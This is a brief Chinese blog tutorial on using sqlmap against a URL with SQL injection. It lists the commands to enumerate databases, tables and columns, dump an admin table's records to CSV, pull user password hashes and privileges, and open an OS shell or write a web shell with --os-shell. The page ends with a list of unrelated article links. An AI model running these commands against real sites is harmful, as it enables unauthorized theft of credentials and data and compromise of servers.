Sqlmap使用方法
来源:互联网 发布:苹果手机rar解压软件 编辑:程序博客网 时间:2024/06/14 07:13
SQLmap使用方法
1.查看数据库:pythonsqlmap -u存在注入的URL地址 --dbs
以下是结果:
发现2个库。
2.接下来查看表名:
用法:python sqlmap -u 存在注入的URL地址 -D 数据库名(如图的xkb)--tables
3.查看字段:
图中是查看数据库xkb中cms_admin表中字段。结果如下:
4.爆字段内容
爆admin_name的内容。
5.脱裤
-C 字段,字段之间逗号分开。--threads线程数 start,stop就是要脱好多条记录。
最后结果会以CSV格式保存。
一些常用命令:
python sqlmap.py -u 注入地址 --is-dba 判断当前用户是不是DBA
python sqlmap.py -u 注入地址 --users 查看当前用户
python sqlmap.py -u 注入地址 --passwords查看密码
python sqlmap.py -u 注入地址 --privileges查看权限
python sqlmap.py -u 注入地址 --os-shell 写web shell
0 0
- SQLMap--SQLMap使用方法
- SQLMAP使用方法
- sqlmap 使用方法
- Sqlmap使用方法
- SQLMAP使用方法笔记
- sqlmap的简要使用方法
- 11种常见SQLMAP使用方法详解
- 关于拼接SQL语句sqlMap的使用方法
- sqlmap
- sqlmap
- sqlmap
- SQLmap
- SQLMap
- sqlmap
- sqlmap
- SQLMAP
- sqlmap
- sqlmap
- 机器学习2 KNN原理和实现
- java Date与String的转换
- 机器学习3 Kmeans原理和实现
- Android获取屏幕宽高
- hyperic官方文档
- Sqlmap使用方法
- Java syncronized关键字用法详解
- 图片缓存问题
- 机器学习4 CF推荐算法
- 深入理解Java的接口和抽象类
- Jquery输入框获得/失去焦点方式
- JAVA基本数据类型简介
- DOM学习笔记整理二使用及定时器
- IOS UIImageView